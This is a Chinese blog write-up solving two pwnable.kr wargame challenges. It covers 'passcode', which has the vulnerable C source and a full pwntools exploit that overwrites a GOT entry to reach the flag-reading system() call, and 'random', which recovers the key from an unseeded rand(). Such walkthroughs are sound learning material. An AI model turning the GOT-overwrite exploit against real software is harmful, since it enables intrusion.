pwnable.kr (二) 5-6

0x01  passcode——GOT覆写技术

 

 source code

#include <stdio.h>

#include <stdlib.h>

 

void login(){

int passcode1;

int passcode2;

printf("enter passcode1 : ");

scanf("%d", passcode1); #no &

fflush(stdin);

 

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)

printf("enter passcode2 : ");

        scanf("%d", passcode2); #no &

printf("checking...\n");

if(passcode1==338150 && passcode2==13371337){

                printf("Login OK!\n");

                system("/bin/cat flag");

        }

        else{

                printf("Login Failed!\n");

exit(0);

        }

}

 

void welcome(){

char name[100];

printf("enter you name : ");

scanf("%100s", name);

printf("Welcome %s!\n", name);

}

 

int main(){

printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();

login()

// something after login...

printf("Now I can safely trust you that you have credential :)\n");

return 0;

}

 

 

 

http://blog.csdn.net/smalosnail/article/details/53247502Got表覆盖相关姿势:

 

full exploit code

#!/usr/bin/env python

from pwn import *

 

context(log_level = 'debug')

s = ssh(host ='pwnable.kr',

user='passcode',

password='guest',

port=2222

)

p = s.process('./passcode')

p.recvuntil('beta.\n')

payload = 'a'*96 + p32(0x0804a000)  + '\n' + '134514147\n'

# printf_address system()

p.sendline(payload)

p.recvall()

0x02  random——rand()伪随机

 

source code

#include <stdio.h>

 

int main(){

unsigned int random;

random = rand(); // random value!

unsigned int key=0;

scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){

printf("Good!\n");

system("/bin/cat flag");

return 0;

}

printf("Wrong, maybe you should try 2^32 cases.\n");

return 0;

}

 

 

 

伪随机:

rand函数在产生随机数前,需要系统提供的生成伪随机数序列的种子,rand根据这个种子的值产生一系列随机数。如果系统提供的种子没有变化,每次调用rand函数生成的伪随机数序列都是一样的。srand(unsigned seed)通过参数seed改变系统提供的种子值,从而可以使得每次调用rand函数生成的伪随机数序列不同,从而实现真正意义上的随机。通常可以利用系统时间来改变系统的种子值,即srand(time(NULL)),可以为rand函数提供不同的种子值,进而产生不同的随机数序列。

在本题中未给出种子因此默认为1,每次参数的第一个随机参数不变。因此我们可以构造一个rand()函数

#include<stdio.h>

#include<stdlib.h>

int main()

{

unsigned random = rand();

printf("%d\n",random );

return 0;

}

 

获得随机数

key ^ random) == 0xdeadbeef由函数异或算出key

posted @ 2017-08-12 16:53  1ey  阅读(138)  评论(0)    收藏  举报